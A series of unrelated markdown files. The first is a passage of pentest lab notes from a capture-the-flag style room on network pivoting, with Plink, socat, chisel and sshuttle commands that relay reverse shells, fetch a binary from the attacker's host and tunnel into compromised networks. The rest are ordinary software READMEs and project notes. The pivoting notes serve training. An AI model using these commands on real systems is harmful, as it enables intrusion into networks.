-  Is a Windows command line version of the PuTTY SSH client
- Our use of Plink tends to be a case of transporting the binary to the target, then using it to create a reverse connection.
- This would be done with the following command:
````
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
````
- To use our example from before, if we have access to `<IP_ADDRESS>` and would like to forward a connection to `<IP_ADDRESS>:80` back to port `8000` our own attacking machine (`<IP_ADDRESS>`), we could use this command:
````
cmd.exe /c echo y | .\plink.exe -R 8000:<IP_ADDRESS>:80<EMAIL_ADDRESS>-i KEYFILE -N
````
- Note that any keys generated by ssh-keygen will not work properly here.
- You will need to convert them using the `puttygen` tool, which can be installed on Kali using `sudo apt install putty-tools`. After downloading the tool, conversion can be done with:
````
puttygen KEYFILE -o OUTPUT_KEY.ppk
````
#### Note plink.exe
- Plink is notorious for going out of date quickly, which often results in failing to connect back. Always make sure you have an up to date version of the .exe. Whilst there is a copy pre-installed on Kali at `/usr/share/windows-resources/binaries/plink.exe`
- Download the latest
- https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
## Socat
- Socat is not just great for fully stable Linux shells, it's also superb for port forwarding.
- That said, static binaries are easy to find for both Linux and Windows.
- The Windows version is unlikely to bypass Antivirus software by default, so custom compilation may be required.
-  `socat` makes a very good relay: for example, if you are attempting to get a shell on a target that does not have a direct connection back to your attacking computer, you could use socat to set up a relay on the currently compromised machine.
- This listens for the reverse shell from the target and then forwards it immediately back to the attacking box:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/502e2fa5765e.png)
- Before using socat, it will usually be necessary to download a binary for it, then upload it to the box.
- For example, with a Python webserver:-
- On Kali (inside the directory containing your Socat binary):
````
sudo python3 -m http.server 80
````
- Then, on the target:
````
curl ATTACKING_IP/socat -o /tmp/socat && chmod +x /tmp/socat
````
### Reverse Shell Relay
- Let's start a standard netcat listener on our attacking box (`sudo nc -lvnp 443`). Next, on the compromised server, use the following command to start the relay:
````
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
````
- From here we can then create a reverse shell to the newly opened port 8000 on the compromised server.
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/e8740afb79ab.png)
- A brief explanation of the above command:
- `tcp-l:8000` is used to create the first half of the connection -- an IPv4 listener on tcp port `8000` of the target machine.
- `tcp:ATTACKING_IP:443` connects back to our local IP on port 443.
- `&` backgrounds the listener, turning it into a job so that we can still use the shell to execute other commands.
- The relay connects back to a listener started using an alias to a standard netcat listener: `sudo nc -lvnp 443`.
### Port Forwarding -- Easy
- The quick and easy way to set up a port forward with socat is quite simply to open up a listening port on the compromised server, and redirect whatever comes into it to the target server.
- For example, if the compromised server is `<IP_ADDRESS>` and the target is port `3306` of `<IP_ADDRESS>`, we could use the following command (on the compromised server) to create a port forward:
````
./socat tcp-l:33060,fork,reuseaddr tcp:<IP_ADDRESS>:3306 &
````
This opens up port `33060` on the compromised server and redirects the input from the attacking machine straight to the intended target server, essentially giving us access to the (presumably MySQL Database) running on our target of `<IP_ADDRESS>`.
- The `fork` option is used to put every connection into a new process, and the `reuseaddr` option means that the port stays open after a connection is made to it.
- We can now connect to port 33060 on the relay (<IP_ADDRESS>) and have our connection directly relayed to our intended target of <IP_ADDRESS>:3306.
### Port Forwarding -- Quiet
- This method is marginally more complex, but doesn't require opening up a port externally on the compromised server.
- First of all, on our own attacking machine, we issue the following command:
````
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
````
- This opens up two ports: `8000` and `8001`, creating a local port relay. What goes into one of them will come out of the other. For this reason, port `8000` also has the `fork` and `reuseaddr` options set, to allow us to create more than one connection using this port forward.
- Next, on the compromised relay server (`<IP_ADDRESS>` in the previous example) we execute this command:
````
./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &
````
This makes a connection between our listening port `8001` on the attacking machine, and the open port of the target server. To use the fictional network from before, we could enter this command as:
````
./socat tcp:<IP_ADDRESS>:8001 tcp:<IP_ADDRESS>:80,fork &
````
This would create a link between port `8000` on our attacking machine, and port `80` on the intended target (`<IP_ADDRESS>`), meaning that we could go to `localhost:8000` in our attacking machine's web browser to load the webpage served by the target: `<IP_ADDRESS>:80`!
#### Killing Jobs
 - Run the `jobs` command in your terminal, then kill any `socat` processes using `kill %NUMBER`
 ## Chisel
 - Is used to quickly and easily set up a tunnelled proxy or port forward through a compromised system, regardless of whether you have SSH access or not. It's written in Golang and can be easily compiled for any system.
 - https://github.com/jpillora/chisel/releases
 - The chisel binary has two modes: client and server. You can access the help menus for either with the command: `chisel client|server --help`
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/9435cdc6e54d.png)
### Chisel Reverse SOCKS Proxy:
- This connects back from a compromised server to a listener waiting on our attacking machine.
- On our own attacking box we would use a command that looks something like this:
````
./chisel server -p LISTEN_PORT --reverse &
````
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/a27fb82676b4.png)
- Notice that, despite connecting back to port 1337 successfully, the actual proxy has been opened on <IP_ADDRESS>:1080.
- As such, we will be using port 1080 when sending data through the proxy.
### Forward SOCKS Proxy:
- In many ways the syntax for this is simply reversed from a reverse proxy.
- First, on the compromised host we would use:
````
./chisel server -p LISTEN_PORT --socks5
````
- On our own attacking box we would then use:
````
./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks
````
- In this command, PROXY_PORT is the port that will be opened for the proxy.
- For example, `./chisel client <IP_ADDRESS>:8080 1337:socks` would connect to a chisel server running on port `8080` of `<IP_ADDRESS>`.
- A SOCKS proxy would be opened on port `1337` of our attacking machine.
#### Proxychains Reminder:
- When sending data through either of these proxies, we would need to set the port in our proxychains configuration.
- As Chisel uses a SOCKS5 proxy, we will also need to change the start of the line from socks4 to socks5:
````
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5  <IP_ADDRESS> 1080
````
### Chisel Remote Port Forward:
- A remote port forward is when we connect back from a compromised target to create the forward.
- For a remote port forward, on our attacking machine we use the exact same command as before:
````
./chisel server -p LISTEN_PORT --reverse &
````
- Once again this sets up a chisel listener for the compromised host to connect back to.
- The command to connect back is slightly different this time, however:
````
./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
````
- Let's assume that our own IP is `<IP_ADDRESS>`, the compromised server's IP is `<IP_ADDRESS>`, and our target is port `22` on `<IP_ADDRESS>`. The syntax for forwarding `<IP_ADDRESS>:22` back to port `2222` on our attacking machine would be as follows:
````
./chisel client <IP_ADDRESS>:1337 R:2222:<IP_ADDRESS>:22 &
````
- Connecting back to our attacking machine, functioning as a chisel server started with:
````
./chisel server -p 1337 --reverse &
````
- This would allow us to access `<IP_ADDRESS>:22` (via SSH) by navigating to `<IP_ADDRESS>:2222`.
### Chisel Local Port Forward:
- As with SSH, a local port forward is where we connect from our own attacking machine to a chisel server listening on a compromised target.
- On the compromised target we set up a chisel server:
````
./chisel server -p LISTEN_PORT
````
- We now connect to this from our attacking machine like so:
````
./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT
````
- For example, to connect to `<IP_ADDRESS>:8000` (the compromised host running a chisel server), forwarding our local port `2222` to `<IP_ADDRESS>:22` (our intended target), we could use:
````
./chisel client <IP_ADDRESS>:8000 2222:<IP_ADDRESS>:22
````
## SShuttle
- It doesn't perform a port forward, and the proxy it creates is nothing like the ones we have already seen.
- Instead it uses an SSH connection to create a tunnelled proxy that acts like a new interface.
- It simulates a VPN, allowing us to route our traffic through the proxy without the use of proxychains (or an equivalent).
- We can just directly connect to devices in the target network as we would normally connect to networked devices. As it creates a tunnel through SSH (the secure shell), anything we send through the tunnel is also encrypted.
### Limitations
- sshuttle only works on Linux targets.
- It also requires access to the compromised server via SSH, and Python also needs to be installed on the server.
- That said, with SSH access, it could theoretically be possible to upload a static copy of Python and work with that.
````
sudo apt install sshuttle
````
- The base command for connecting to a server with sshuttle is as follows:
````
sshuttle -r username@address subnet
````
- For example, in our fictional `172.16.0.x` network with a compromised server at `<IP_ADDRESS>`, the command may look something like this:
````
sshuttle -r<EMAIL_ADDRESS><IP_ADDRESS>/24
````
- We would then be asked for the user's password, and the proxy would be established.
- The tool will then just sit passively in the background and forward relevant traffic into the target network.
- Rather than specifying subnets, we could also use the `-N` option which attempts to determine them automatically based on the compromised server's own routing table:
````
sshuttle -r username@address -N
````
- If this has worked, you should see the following line:
````
c : Connected to server.
````
- sshuttle doesn't currently seem to have a shorthand for specifying a private key to authenticate to the server with. That said, we can easily bypass this limitation using
````
--ssh-cmd
````
- With the `--ssh-cmd switch`, we can pick a different command to execute for authentication: say, `ssh -i keyfile`
#### Final Command
- So, when using key-based authentication, the final command looks something like this:
````
sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNET
````
- To use our example from before, the command would be:
````
sshuttle -r<EMAIL_ADDRESS>--ssh-cmd "ssh -i private_key" <IP_ADDRESS>/24
````
#### Errors
- Please Note: When using sshuttle, you may encounter an error that looks like this:
````
client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255
````
- This can occur when the compromised machine you're connecting to is part of the subnet you're attempting to gain access to.
- For instance, if we were connecting to `<IP_ADDRESS>` and trying to forward `<IP_ADDRESS>/24`, then we would be including the compromised server inside the newly forwarded subnet, thus disrupting the connection and causing the tool to die.
- To get around this, we tell sshuttle to exclude the compromised server from the subnet range using the `-x` switch.
- To use our earlier example:
````
sshuttle -r<EMAIL_ADDRESS><IP_ADDRESS>/24 -x <IP_ADDRESS>
````

#### Sources
- All credit for this guide goes to:
- https://tryhackme.com/room/wreath
- The THM Room was created by MuirlandOracle, who puts out amazing content.  The contents of this .md come from that room. Check it out!

license: Unlicense

branch_name: refs/heads/main


text:
## Issues

In Progress

## Backlog
- [example-vite & example-nobundler] http call (t4t-fe), form (bwc-t4t-form)
- [vite] migrate vue-crud-x table examples to vite
- [chore] disable console.log in production / proper console logging
- [chore] apollo-client graphql security & performance review
- [chore] use monorepo when npm 7 is released ?

For future product improvement
- [example-vite] cypress e2e testing, vue-test-util & vite
- [example-vite] styling for custom build mwc-*
- [frontend-i18n] node-polyglot
- [backend-deployment] GKE, Kubernetes
- [frontend-graphql] try @octokit/graphql
- [backend-testing] research auto generated REST API and Testing (keep in view dredd.io)
- [backend-testing] research websocket testing
- [backend-testing] change out of jest? use native assert instead of chai
- [vue3] VueCrudX (update to VueJS 3 and Vuetify 3)
- [vue3] https://github.com/vueComponent/ant-design-vue/issues/1913

const authorName = book?.author?.firstName ?? 'Unknown'
if undefined, then 'Unkonwn'

---

Table Features
- data iteration (low)
- Custom Cell Renderer (intermediate)
- Custom Column Header (low)
- Option or pagination/infinite scrolling (low medium)
- Sticky Columns /rows(optional) (low)
- Sorting (low intermediate)
- Show and Hide columns (low)
- Export and import data (low)
- Custom Footer Render (low)
- Row highlight (low)
- events (row click, checkbox selected, cell clicked)
- Select All (medium-high)
18.themes (??)

- Always Virtualized ----
- Filtering as part of table (optional) ----

(not doing) 8.Column/row Reordering (Drag and drop)
(not doing) 9.expandled row and column
(not doing) 10.Custom Row Sizes
(not doing) 13.Group by a column property
(not doing) 15.Custom loading Indicator
(not doing) 16.Action Buttons/icons (Delete,copy on select of a row)


text:
# TLDExtract

[![Latest Stable Version](https://poser.pugx.org/layershifter/tld-extract/v/stable)](https://packagist.org/packages/layershifter/tld-extract)
[![Build Status](https://travis-ci.org/layershifter/TLDExtract.svg)](https://travis-ci.org/layershifter/TLDExtract)
[![Total Downloads](https://poser.pugx.org/layershifter/tld-extract/downloads)](https://packagist.org/packages/layershifter/tld-extract)

[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/layershifter/TLDExtract/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/layershifter/TLDExtract/?branch=master)
[![Code Coverage](https://scrutinizer-ci.com/g/layershifter/TLDExtract/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/layershifter/TLDExtract/?branch=master)

# This is a forked from `layershifter/tld-extract` to support PHP 5.4.0.

To support PHP 5.4.0 please use version `^0.2.2` or use the composer command below:

    composer require ivankristianto/tld-extract "^0.2.2"

`TLDExtract` accurately separates the gTLD or ccTLD (generic or country code
top-level domain) from the registered domain and subdomains of a URL. For
example, say you want just the 'google' part of 'http://www.google.com'.

*Everybody gets this wrong.* Splitting on the '.' and taking the last 2
elements goes a long way only if you're thinking of simple e.g. .com
domains. Think parsing
[http://forums.bbc.co.uk](http://forums.bbc.co.uk) for example: the naive
splitting method above will give you 'co' as the domain and 'uk' as the TLD,
instead of 'bbc' and 'co.uk' respectively.

`Extract` on the other hand knows what all gTLDs and ccTLDs look like by
looking up the currently living ones according to
[the Public Suffix List](http://www.publicsuffix.org). So,
given a URL, it knows its subdomain from its domain, and its domain from its
country code.

    $result = Extract::get('http://forums.news.cnn.com/');
    var_dump($result);

    object(LayerShifter\TLDExtract\Result)#34 (3) {
      ["subdomain":"LayerShifter\TLDExtract\Result":private]=>
      string(11) "forums.news"
      ["domain":"LayerShifter\TLDExtract\Result":private]=>
      string(3) "cnn"
      ["tld":"LayerShifter\TLDExtract\Result":private]=>
      string(3) "com"
    }

`Result` implements ArrayAccess interface, so you simple can access to its result.

    var_dump($result['subdomain']);
    string(11) "forums.news"

    var_dump($result['domain']);
    string(3) "cnn"

    var_dump($result['tld']);
    string(3) "com"

Also you can simply convert result to JSON.

    var_dump($result->toJson());
    string(54) "{"subdomain":"forums.news","domain":"cnn","tld":"com"}"

This package based on code from [w-shadow](http://w-shadow.com/blog/2012/08/28/tldextract/)
which is port of [Python module](https://github.com/john-kurkowski/tldextract).

## Compatible PHP versions
- PHP 5.4
- PHP 5.5
- PHP 5.6
- PHP 7
- HHVM

## Installation

Latest release via Composer:

    $ composer require layershifter/tld-extract

## Note About Advanced Usage & Caching

- [Advanced usage](#note-advanced)
- [Caching](#note-caching)

###  Advanced usage

For overriding object that will be returned in result you can create own class that implements `\LayerShifter\TLDExtract\Interfaces\ResultInterface`.

For example:

    class OwnResult implements \LayerShifter\TLDExtract\Interfaces\ResultInterface {
    }

    Extract::setResultClass('OwnResult');

###  Caching

By default `TLDExtract` downloads TLD list from publicsuffix.org, caches it and never update.

You can override this behavior via setting $fetch to `true`:

    Extract::setFetch(true);

---

Also, you can manually update TLD cache by calling method (recommended):

    Extract::updateCache();

This method returns boolean that indicates processes result.

---

By default cache file will be stored in `/path/to/TLDExtract/cache/.tld_set`, you can set file for cache by calling:

    Extract::setCacheFile('/path/to/your/dir/cache.file');

License
-------

This project is open-sourced software licensed under the MIT License.

See the LICENSE file for more information.

repository: miyunwangluo/TLDExtract

repo_name: miyunwangluo/TLDExtract


text:
# Task

## Change the DSC logo.

The DSC now has a new logo, your task is to change the current logo to the new logo.

- Old logo.
![Current logo](https://github.com/CodeClubPh/codeclubph/blob/master/src/images/assets/screenshot.png)

-
- The new logo looks like this.
![new logo](https://github.com/CodeClubPh/codeclubph/blob/master/src/images/assets/dsclogo.png)

[And the source for the new logo can be found here](https://github.com/CodeClubPh/codeclubph/blob/master/src/images/assets/dsclogo.png).

[Our Website Url](http://codeclubph.tech).

[Source Code on Github to make those changes](https://github.com/CodeClubPh/codeclubph).

* Goodluck 🔥

repository: logadims/CodeClub

repo_name: logadims/CodeClub


text:
CsnAuthorization
================

### What is CsnAuthorization? ###
CsnAuthorization is an Authorization module based on `Access Control List` and `DoctrineORMModule`.

### What exactly does CsnAuthorization do? ###
CsnAuthorization has been created with educational purposes to demonstrate how Authorization can be done. It is fully functional.
Authorization is the process of giving access rights to a user on a set of resourses(in our case - controllers) and determining their privileges(in our case - actions) on those resourses.

### What's the use again? ###
An alternative to BjyAuthorize, working in perfect harmony with *Doctrine* and the other Csn modules.

Installation
------------
- Installation via composer is supported, simply run (make sure you've set `"minimum-stability": "dev"` in your *composer.json* file):
`php composer.phar require coolcsn/csn-authorization:dev-master`
- Configure referenced module ([CsnUser](https://github.com/coolcsn/CsnUser)) following its instructions.
- Add 'CsnAuthorization' to your application configuration in `config/application.config.php`. An example application configuration could look like the following:

```
'modules' => array(
    'Application',
	'DoctrineModule',
    'DoctrineORMModule',
    'CsnUser',
    'CsnAuthorization'
)
```

- CsnAuthorization requires setting a connection for Doctrine (if you haven't done this for some of your other modules, e.g. CsnUser). You can paste the following snippet in `config/autoload/doctrine.local.php`, replacing the tokens with your actual connection parameters:

```
return array(
  'doctrine' => array(
    'connection' => array(
      'orm_default' => array(
        'driverClass' =>'Doctrine\DBAL\Driver\PDOMySql\Driver',
        'params' => array(
          'host'     => 'localhost',
          'port'     => '3306',
          'user'     => 'username',
          'password' => 'password',
          'dbname'   => 'database',
)))));
```

- After that, set up your Access Control List configuration by copying `acl.global.php.dist` (located in `vendor/coolcsn/csn-authorization/config` if you have installed via *Composer*) into your `config/autoload` directory (Remove the .dist part).

>### Does it work? ###
Navigate to a controller/action which has been allowed only for members in your ACL configuration and you should be redirected. Now login (preferably using CsnUser) and attempt that action again. Enjoy :)

Dependencies
------------
This Module depends on the following Modules:

- DoctrineORMModule
- CsnUser (Decoupling - coming soon!!!)

Recommends
----------
- [coolcsn/CsnUser](https://github.com/coolcsn/CsnUser) - Authentication (login, registration) module.
- [coolcsn/CsnAclNavigation](https://github.com/coolcsn/CsnAclNavigation) - Navigation module;
- [coolcsn/CsnCms](https://github.com/coolcsn/CsnCms) - Content management system;

repository: gcgbarbosa/avatar

repo_name: gcgbarbosa/avatar


text:
# Tidy

A neat and tidy Flask-powered blog engine

![](https://raw.githubusercontent.com/bembu/tidy/master/images/preview.png)

#### Currently there is a support for:
* Easy to use, clean style
* User Accounts
    * Two user roles: admin and normal user. Both can create and edit posts, but only admin can manage users and posts (i.e. delete)
* Blog posts are written in Markdown. All symbols supported via flask-markdown library
* RESTful URLS with easily readable post title slugs
* Users can upload thumbnail images to their blog posts
* Authors can tag posts into different categories. USers can view posts by tags.
* Simple, working pagination

#### Possible additions in the future:
* About Me -page
* Comments (probably Disqus)
* Account management (i.e. password resets)

## Initial Steps

There are a few steps you need to take in order to get the blog to work on a development server

1. Install a virtual environment for Python 2.7, activate it and install required libraries indicated in requirements.txt file `pip install -r /path/to/requirements.txt`

2. Initialize the database
    * `python db_create.py` to create the database
    * `python db_migrate.py` to create a migration
    * `python db_upgrade.py` to upgrade the database version

3. You might want to edit the config.py file, especially change the 'dummy' secret key

3. `python run.py` to run the app on a dev server.

repository: pkronstrom/tidy

repo_name: pkronstrom/tidy


text:
[![version(scoped)](https://img.shields.io/npm/v/@manifoldco/swagger-to-ts.svg)](https://www.npmjs.com/package/@manifoldco/swagger-to-ts)
[![codecov](https://codecov.io/gh/manifoldco/swagger-to-ts/branch/master/graph/badge.svg)](https://codecov.io/gh/manifoldco/swagger-to-ts)
[![Build Status](https://img.shields.io/endpoint.svg?url=https%3A%2F%2Factions-badge.atrox.dev%2Fmanifoldco%2Fswagger-to-ts%2Fbadge&style=flat)](https://actions-badge.atrox.dev/manifoldco/swagger-to-ts/goto)

<!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section -->

[![All Contributors](https://img.shields.io/badge/all_contributors-18-orange.svg?style=flat-square)](#contributors-)

<!-- ALL-CONTRIBUTORS-BADGE:END -->

# 📘 swagger-to-ts

🚀 Convert [OpenAPI 3.0][openapi3] schemas to TypeScript interfaces using Node.js.

💅 The output is prettified with [Prettier][prettier] (and can be customized!).

👉 Works for both local and remote resources (filesystem and HTTP).

View examples:

- [Stripe, OpenAPI 2.0](./examples/stripe-openapi2.ts)
- [Stripe, OpenAPI 3.0](./examples/stripe-openapi3.ts)

## Usage

### CLI

#### 🗄 Reading specs from file system

```bash
npx @manifoldco/swagger-to-ts schema.yaml --output schema.ts

# 🤞 Loading spec from tests/v2/specs/stripe.yaml…
# 🚀 schema.yaml -> schema.ts [250ms]
```

#### ☁ Reading specs from remote resource

```bash
npx @manifoldco/swagger-to-ts https://petstore.swagger.io/v2/swagger.json --output petstore.ts

# 🤞 Loading spec from https://petstore.swagger.io/v2/swagger.json…
# 🚀 https://petstore.swagger.io/v2/swagger.json -> petstore.ts [650ms]
```

_Thanks to @psmyrdek for this feature!_

#### Generating multiple schemas

In your `package.json`, for each schema you’d like to transform add one `generate:specs:[name]` npm-script. Then combine them all into one `generate:specs` script, like so:

```json
"scripts": {
  "generate:specs": "npm run generate:specs:one && npm run generate:specs:two && npm run generate:specs:three",
  "generate:specs:one": "npx @manifoldco/swagger-to-ts one.yaml -o one.ts",
  "generate:specs:two": "npx @manifoldco/swagger-to-ts two.yaml -o two.ts",
  "generate:specs:three": "npx @manifoldco/swagger-to-ts three.yaml -o three.ts"
}
```

You can even specify unique options per-spec, if needed. To generate them all together, run:

```bash
npm run generate:specs
```

Rinse and repeat for more specs.

For anything more complicated, or for generating specs dynamically, you can also use the [Node API](#node).

#### CLI Options

| Option                         | Alias | Default  | Description                                                      |
| :----------------------------- | :---- | :------: | :--------------------------------------------------------------- |
| `--output [location]`          | `-o`  | (stdout) | Where should the output file be saved?                           |
| `--prettier-config [location]` |       |          | (optional) Path to your custom Prettier configuration for output |

### Node

```bash
npm i --save-dev @manifoldco/swagger-to-ts
```

```js
const { readFileSync } = require("fs");
const swaggerToTS = require("@manifoldco/swagger-to-ts");

const input = JSON.parse(readFileSync("spec.json", "utf8")); // Input can be any JS object (OpenAPI format)
const output = swaggerToTS(input); // Outputs TypeScript defs as a string (to be parsed, or written to a file)
```

The Node API is a bit more flexible: it will only take a JS object as input (OpenAPI format), and
return a string of TS definitions. This lets you pull from any source (a Swagger server, local
files, etc.), and similarly lets you parse, post-process, and save the output anywhere.

If your specs are in YAML, you’ll have to convert them to JS objects using a library such as
[js-yaml][js-yaml]. If you’re batching large folders of specs, [glob][glob] may also come in handy.

#### PropertyMapper

In order to allow more control over how properties are parsed, and to specifically handle
`x-something`-properties, the `propertyMapper` option may be specified as the optional 2nd
parameter.

This is a function that, if specified, is called for each property and allows you to change how
swagger-to-ts handles parsing of Swagger files.

An example on how to use the `x-nullable` property to control if a property is optional:

```js
const getNullable = (d: { [key: string]: any }): boolean => {
  const nullable = d["x-nullable"];
  if (typeof nullable === "boolean") {
    return nullable;
  }
  return true;
};

const output = swaggerToTS(swagger, {
  propertyMapper: (swaggerDefinition, property): Property => ({
    ...property,
    optional: getNullable(swaggerDefinition),
  }),
});
```

_Thanks to @atlefren for this feature!_

<!-- markdownlint-enable -->
<!-- prettier-ignore-end -->
<!-- ALL-CONTRIBUTORS-LIST:END -->

This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome!

This is a fork of https://github.com/manifoldco/swagger-to-ts that generates a more opinionated and specialized output.

repository: kasperp/swagger-to-ts

repo_name: kasperp/swagger-to-ts


text:
# Using Postman to Explore aWhere's APIs

Start exploring our APIs without a lot of code by plugging these collections into your [Postman](http://www.getpostman.com) application. There is a preconfigured API call for each of the endpoints we currently have open, and Postman will even handle the security token for you.

## Installing

We provide two files to import into Postman:

`awhere.postman_environment`
* This file sets up an Environment in Postman, where you can enter your API key and secret.

`aWhereV1APIs.json.postman_collection`
* These are the prebuilt API requests.

First install the environment from the Environments menu. Enter your API Key and Secret in the environmental variables and then be sure the "aWhere" environment is selected.

Then you can import the collection itself, which will appear under the Collections menu in the left pane.

For more details on how to get started with Postman, read our help guide available on the [aWhere Developer Community](http://developer.awhere.com/integration/postman).

## Using

Each API call has an introduction that describes how the API is used and what else you can do with it.

The most important thing is to make sure you have an OAuth Access Token saved to the Postman environment before making the regular API calls.

1. First make sure you've entered your API Key and Secret in the Environment, described above and on the [ADC](http://developer.awhere.com/integration/postman).
2. Then execute the Get a Token request from the collection.

The Get a Token request will take your API key and secret and use them to generate a token; then Postman will save that token to the environment and use it automatically in the rest of the API requests. Of course, you can explore the "Headers" tab to see how to use the HTTP Authentication headers in both cases. Explore away! These are GET requests only and you can't really hurt anything.

_Note: the token will expire after an hour. So you only need to run the Get a Token request once unless it's been more than an hour since the last time._

## Help

If you need help with Postman, check out the [Postman documentation](https://www.getpostman.com/docs).

If you need help with the Collection we've provided or the API calls, then ask a question in our [Community Q&A Forum](http://developer.awhere.com/forums).


text:
# pred

Prediction tool

## Usage

At the first step, create a new dataset

```python
from pred import Dataset, Predict

ds = Dataset('dataset.csv')
```

At the second step, make forecasting

```python
pr = Predict(ds)
pr.predict()
```

repository: saromanov/pred

repo_name: saromanov/pred


text:
# Context Menus

Sheeeeeeeeet `Menu`s can be added as iOS 13 context menus to any view.

## How to present a `Menu` as a context menu

When you have a `Menu` instance, you can add it as an iOS 13 context menu to any view:

```swift
let item1 = MenuItem(title: "Option 1")
let item2 = MenuItem(title: "Option 2")
let cancel = CancelButton(title: "Cancel")
let menu = Menu(title: "My menu", items: [item1, item2, cancel])
delegate = menu.addAsContextMenu(to: view) { item
    print("You selected \(item.title)")
}
```

This creates a standard iOS 13 context menu that is applied in the standard way.

## Retaining is important

You must retain the delegate, otherwise the context menu will stop working when the delegate is automatically disposed.

To simplify this, you can let `view` implement `ContextMenuDelegateRetainer` and use an auto-retaining version of the function:

```swift
menu.addAsRetainedContextMenu(to: view, action: ...)
```

The view will then automatically retain the delegate and release it when it's disposed.

## Unsupported item types

Note that some menu item types can't be used in context menus. For instance, `SelectItem`s can't be used, since context menus are designed to be dismisses when a selection is made.

Some item types will be automatically ignored when you convert a menu to a context menu. They are automatically omitted, without any side-effects.

Other item types can't be automatically ignored, since that would make the menu incomplete. If your menu contains such items, any attempts to present the menu as a context menu will fail with an error.

repository: danielsaidi/Sheeeeeeeeet

gha_language: Swift

repo_name: danielsaidi/Sheeeeeeeeet


text:
# Hammer.js [![Build Status](http://img.shields.io/travis/EightMedia/hammer.js.svg)](https://travis-ci.org/EightMedia/hammer.js/)

#### A javascript library for multi-touch gestures

> I told you, homeboy /
> You *CAN* touch this /
> Yeah, that's how we living and you know /
> You *CAN* touch this

## Features
- Under 3kb minified and gzipped!
- [Detects Tap, DoubleTap, Swipe, Drag, Pinch, and Rotate gestures](http://rawgithub.com/EightMedia/hammer.js/master/tests/manual/events.html)
- Triggers DOM Events, so works with almost every event-listener.
- [Debug plugins](/plugins) to emulate multitouch on desktop and make them visible.
- Easy to build your own [custom gestures](/src/gestures/README.md).
- Chainable instance methods
- AMD/CommonJS support
- Unit tests
- Option to disable mouse support, so only for touch and pen input.
- Sourcemaps
- Highly configurable
- [jQuery plugin available here](https://github.com/EightMedia/jquery.hammer.js)

## Getting Started
See the [Wiki on GitHub](https://github.com/EightMedia/hammer.js/wiki) for documentation.

### Further notes
Developed by [Jorik Tangelder](http://twitter.com/jorikdelaporik) in his spare time and at [Eight Media](http://www.eight.nl/) in Arnhem, the Netherlands.

It's recommended to listen to [this loop](http://soundcloud.com/eightmedia/hammerhammerhammer) while using hammer.js.

repository: noflo/visualize

branch_name: refs/heads/gh-pages

repo_name: noflo/visualize


text:
---
title: Define image tags
---

If you have any image defined in your `devspace.yaml`, DevSpace will tag this image after building with a random string and push it to the defined registry. DevSpace will then replace the image name with the just build tag in memory in the resources that should be deployed (kubernetes manifests, helm chart values or component values).

There are cases where you do not want DevSpace to tag your images with a random tag and rather want more control over the tagging process. This can be accomplished with the help of [predefined configuration variables](/docs/configuration/variables#predefined-variables).

For example you want to tag an image with the current git commit hash, your `devspace.yaml` would look like this:
```yaml
images:
  default:
    image: myrepo/devspace
    # This tag value is used for tagging the image
    tag: ${DEVSPACE_GIT_COMMIT}
```

You can also combine several variables together:

```yaml
images:
  default:
    image: myrepo/devspace
    # This tag value is used for tagging the image
    tag: ${DEVSPACE_USERNAME}-devspace-${DEVSPACE_GIT_COMMIT}-${DEVSPACE_RANDOM}
```

which would result in a more complex tag. For a complete overview which variables are available take a look at [predefined configuration variables](/docs/configuration/variables#predefined-variables), of course you can also mix predefined variables with environment or user defined variables to allow for more complex use cases.

repository: izzatzr/devspace

gha_language: Go

repo_name: izzatzr/devspace


text:
# My patched version of st - the simple terminal

[St 0.8.4](https://st.suckless.org/) terminal with some life improving, and cosmetic patches applied.

## Applied patches

[Alpha v0.8.2](https://st.suckless.org/patches/alpha/)

[Bold is not bright v20190127-3b](https://st.suckless.org/patches/bold-is-not-bright/)

[Boxdraw v2 v0.8.3](https://st.suckless.org/patches/boxdraw/)

[Clipboard v0.8.2](https://st.suckless.org/patches/clipboard/)

[Nordtheme v0.8.2](https://st.suckless.org/patches/nordtheme/)

[Font2 20190416-ba72400](https://st.suckless.org/patches/font2/)

[Scrollback v0.8.2](https://st.suckless.org/patches/scrollback/)

    Scrollback mouse v20191024-a2c479c

    Scrollback mouse altscreen v20200416-5703aa0

    Scrollback mouse increment v0.8.2

## Installation

```shell
git clone git@github.com:leevi-laitala/st.git
cd st
sudo make install
```

## Color emoji fix

Just apply [this](https://github.com/uditkarode/libxft-bgra) patch to X.

repository: leevi-laitala/st

repo_name: leevi-laitala/st


text:
play-config
===========
[![Build Status](https://travis-ci.org/hmrc/play-config.svg)](https://travis-ci.org/hmrc/play-config) [ ![Download](https://api.bintray.com/packages/hmrc/releases/play-config/images/download.svg) ](https://bintray.com/hmrc/releases/play-config/_latestVersion)

A micro-library containing Play configuration utility functions.

## Adding to your service

Include the following dependency in your SBT build

```scala
resolvers += Resolver.bintrayRepo("hmrc", "releases")

libraryDependencies += "uk.gov.hmrc" %% "play-config" % "x.x.x"
```

## License ##

This code is open source software licensed under the [Apache 2.0 License]("http://www.apache.org/licenses/LICENSE-2.0.html").

repository: raindeerr/play-config

repo_name: raindeerr/play-config


text:
[![Build Status](https://travis-ci.org/neoziro/recompact.svg?branch=master)](https://travis-ci.org/neoziro/recompact)
